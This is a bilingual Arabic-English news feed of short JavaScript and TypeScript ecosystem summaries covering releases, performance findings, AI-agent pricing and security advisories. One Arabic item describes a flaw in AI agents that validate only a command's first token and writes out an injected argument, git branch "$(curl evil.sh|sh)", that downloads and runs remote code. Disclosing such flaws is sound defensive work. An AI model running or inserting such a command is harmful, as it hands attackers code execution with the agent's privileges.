The JavaScript and TypeScript ecosystem.
لا تزال ثغرة SSRF قائمة في إصدار Ollama 0.33.2 لأن برنامج تنزيل نماذج التنسور يستخدم عميل HTTP منفصلاً يتخطى آلية الحماية من إعادة التوجيه التي أُضيفت لمعالجة CVE-2026-5530، مما يتيح للمهاجمين إعادة توجيه عمليات السحب إلى أي عنوان يمكن الوصول إليه.
توضح الثغرة CVE-2026-22708 أن الوكلاء الذين يتحققون فقط من الرمز الأول للأمر يمكن خداعهم عبر حمولات مخفية في الوسائط—مثل: git branch "$(curl evil.sh|sh)"—مما يمنح المهاجمين نفس صلاحيات بوت الأتمتة.
The 45 % discount applies when the same system prompt and tool schema are reused across many iterations, making Claude Fable 5.1 especially attractive for autonomous code reviewers, ticket-triage bots, and other repetitive agent pipelines.
يستخدم WebFPGA واجهة برمجة تطبيقات WebUSB لبرمجة FPGA من نوع Lattice iCE40-UP5K باستخدام JavaScript، مما يتيح استنتاج TinyML في أقل من 10 مللي ثانية مع استهلاك بضع عشرات فقط من الميلي واط وإبقاء جميع البيانات على الجهاز.
The exposed keys let attackers create charges, pull invoices and harvest personal data, threatening chargebacks, fines and brand damage. Immediate steps include blocking dotfiles, rotating every key and moving secrets to a vault.
يقدم الإصدار الجديد تحسيناً في تنسيق الفقرات للنصوص المعقدة، ويضيف عرض مسودة مبسط، ويحسن عملية تحويل ملفات ODF إلى DOCX/XLSX، بينما تضمن التحديثات الأمنية وتقنية عزل الماكرو (macro sandboxing) بقاء المستندات آمنة محلياً.
يعمل المحرك المكتوب بلغة Rust في عملية منفصلة، مما يفصل تحليل الأنواع عن خيط واجهة المستخدم (UI thread)، مع إضافة تقنية تخزين مؤقت أكثر ذكاءً تعيد فحص الملفات المعدلة فقط، مما يوفر عمليات بناء تزايدية أكثر سرعة وسلاسة.
يقوم وضع Vapor المرتقب في Vue 3.6 بتحويل المكونات أحادية الملف إلى استدعاءات مباشرة للـ DOM، مما يلغي خطوة المقارنة (diffing) الخاصة بالـ virtual-DOM. وفي الألعاب الاختبارية التي تتطلب إعادة رسم عشرات المرات في الثانية، يقلل هذا التغيير من وقت الرندرة ويقلص حجم الحزم البرمجية، رغم أن واجهات المستخدم ذات التردد المنخفض لن تشهد تحسناً ملحوظاً.
Anthropic’s engineers used 64 parallel Claude Fable 5 agents to rewrite Bun’s codebase in Rust over 11 days, logging $165K in token usage, but the true cost likely climbs higher once post-merge compute and safety audits are factored in.
مع إزالة ترويسات الطلبات المقتصرة على النسخة التجريبية، بات بإمكان المؤسسات أخيراً تجاوز العقبات القانونية والأمنية. كما يعد وضع الإجراءات الجماعية الجديد لأداة استخدام الكمبيوتر بتقليل زمن الاستجابة واستهلاك الرموز (tokens)، وإن كانت هذه التوفيرات لا تزال بحاجة إلى التحقق.
The release also brings production-ready Partial Prerendering that can shave 40-60 % off Time to Interactive, tighter TypeScript support for Server Actions, and Rust-based middleware, but it requires Node 20+ and may break existing Webpack plugins.
تتيح لك النسخة التجريبية الجديدة استيراد ميزات الشبكة التي تستخدمها فقط، مما يسمح لك بتجاوز كود الترتيب تماماً، وتقليص حجم التنزيل إلى حوالي 5 كيلوبايت، وتجنب العمليات على الخيط الرئيسي التي كانت تبطئ درجات INP سابقاً.
Meteor 3.5 introduces a pluggable DDP transport that can be swapped to uWebSockets.js via the DDP_TRANSPORT=uws environment variable, delivering up to 1.6x higher throughput, 9 % lower CPU, 11 % less RAM and 26 % shorter GC pauses for RPC-heavy apps.
إتقان التخزين المؤقت المتقدم من جانب الخادم في Next.js. يتطلب توسيع نطاق تطبيق Next.js أكثر من مجرد الاختيار بين SSR و SSG. ومع نمو بياناتك، ستحتاج إلى تخزين مؤقت متقدم لتقليل...
عندما قامت Coffer بربط مصحح أخطاء Chrome DevTools عبر Playwright، انخفضت سرعة عمليات الرفع القائمة على fetch من 600 ميجابت في الثانية إلى 113 ميجابت في الثانية فقط، مما أدى إلى تباطؤ بأكثر من 20 ضعفاً قلب نتائج اختبارات الأداء الخاصة بهم رأساً على عقب.
أدت إضافة ترويسات COOP و COEP إلى إتاحة تعدد المسارات (multithreading) الحقيقي، لكنها حظرت على الفور أدوات التحليل، وخطوط Google، وتضمينات YouTube، ونوافذ OAuth المنبثقة، مما دفعني لاستضافة الأصول ذاتياً وإعادة كتابة الواجهة الأمامية من الصفر.
المتصفح مقابل Node: أين يختلف الـ Event Loop. حلقة الأحداث (Event Loop) ليست جزءاً من مواصفات لغة JavaScript، بل هي جزء من بيئة الاستضافة. يقوم المتصفح وNode بتنفيذها بشكل مخـ...
The team discovered that a misleading error title sent engineers chasing phantom bugs, while 89% of the logged failures were simple network timeouts. By subscribing to connection-change events, adding a no-progress watchdog, and avoiding mid-download CDN switches, they eliminated silent 5.5 MB runti
CVE 2026 8457: تجاوز المصادقة في إضافة WooCommerce Social Login. توجد ثغرة أمنية حرجة في إضافة WooCommerce Social Login المقدمة من WPWeb Elite. تبلغ درجة خطورة هذه الثغرة 9 وفقاً لمقياس CVSS...
يعيد الـ Hook قيمة منطقية (boolean) يتم تحديثها في الوقت الفعلي، مما يتيح لك استبدال التطبيق الرئيسي برسالة بسيطة "أنت غير متصل" دون انتظار فشل عملية جلب البيانات، لكنه لا يوفر ميزات التخزين المؤقت أو المزامنة في الخلفية بمفرده.
A developer’s Dockerised LiteLLM proxy tricks the Claude Code CLI into talking to Amazon’s Nova model on Bedrock, preserving the same workflow while slashing learning-phase spend by up to a third compared with Anthropic’s pricing.
يتسبب محرك Sätteri القائم على لغة Rust في Astro 7 في خلل بترتيب تمييز الصيغة وتنفيذ الإضافات، حيث يحول كتل الرياضيات المعروضة إلى أكواد نصية عادية، ويمسح معرفات العناوين (heading IDs)، ويتجاهل بصمت أي حقول إعدادات إضافية مثل shikiConfig، مما يضطر المطورين إلى إعادة هيكلة مجموعة أدوات Markdown الخاصة بهم بالكامل.
تقوم أداة R8 المرفقة مع Android Gradle Plugin 9.2.0 الآن باستبدال استدعاءات AtomicFieldUpdater الانعكاسية بتعليمات Unsafe واحدة، مما يقلل تكاليف المزامنة بشكل كبير ويوفر عمليات أسرع بنحو ضعفين لـ channel و mutex و StateFlow دون الحاجة لأي تغييرات في الكود المصدري.
The May 2026 update lets developers invoke server-side logic with a simple async call, while TypeScript 6 brings the satisfies operator, faster incremental builds and stricter route typing—all without leaving the SvelteKit CLI.
